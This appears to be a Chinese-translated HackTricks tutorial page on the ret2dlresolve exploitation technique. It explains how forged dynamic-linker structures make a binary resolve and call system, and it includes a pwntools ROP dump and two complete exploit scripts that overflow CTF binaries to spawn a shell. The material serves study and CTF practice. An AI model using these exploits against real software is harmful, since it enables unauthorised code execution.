# Ret2dlresolve

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

如[**GOT/PLT**](https://hacktricks.xsx.tw/binary-exploitation/write-what-where-2-exec/aw2exec-got-plt)和[**Relro**](https://hacktricks.xsx.tw/binary-exploitation/common-binary-protections-and-bypasses/relro)页面所述，没有Full Relro的二进制文件将在首次使用时解析符号（如外部库的地址）。这种解析是通过调用函数\*\*`_dl_runtime_resolve`\*\*来实现的。

**`_dl_runtime_resolve`函数从堆栈中获取一些结构的引用，以便解析**指定的符号。

因此，可以**伪造所有这些结构**，使动态链接解析请求的符号（如\*\*`system`**函数）并使用配置的参数（例如**`system('/bin/sh')`）进行调用。

通常，通过创建一个**初始ROP链调用`read`来伪造所有这些结构，然后将结构**和字符串\*\*`'/bin/sh'`**传递，以便它们被read存储在已知位置，然后ROP链继续调用**`_dl_runtime_resolve`**，使其在伪造的结构中解析**`system`\*\*的地址并使用地址调用此地址到`'/bin/sh'`。

{% hint style="success" %}
如果没有系统调用gadgets（用于使用技术，如[**ret2syscall**](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv)或[SROP](https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming)）并且没有泄漏libc地址的方法，这种技术特别有用。
{% endhint %}

在视频的后半部分中查看有关此技术的详细解释：

{% embed url="<https://youtu.be/ADULSwnQs-s?feature=shared>" %}

或查看以下页面以逐步解释：

* <https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works>
* <https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures>

## 攻击摘要

1. 在某个位置写入伪造结构
2. 设置`system`的第一个参数（`$rdi = &'/bin/sh'`）
3. 在堆栈上设置要调用\*\*`_dl_runtime_resolve`\*\*的结构的地址
4. 调用\*\*`_dl_runtime_resolve`\*\*
5. \*\*`system`\*\*将被解析并使用`'/bin/sh'`作为参数调用

根据[**pwntools文档**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)，这是\*\*`ret2dlresolve`\*\*攻击的样子。

```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]
```

## 示例

### 纯Pwntools

您可以在[**这里找到此技术的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **包含了最终ROP链的非常好的解释**，但这里是使用的最终利用：

```python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()
```

### 原始

```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()
```

## 其他示例和参考资料

* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* <https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve>
* <https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html>
* 32位，无relro，无canary，nx，无pie，基本的小缓冲区溢出和返回。要利用它，使用bof再次调用`read`，使用`.bss`部分和更大的大小，将`dlresolve`伪造表存储在那里以加载`system`，返回到主函数并重新滥用初始bof以调用dlresolve，然后`system('/bin/sh')`。
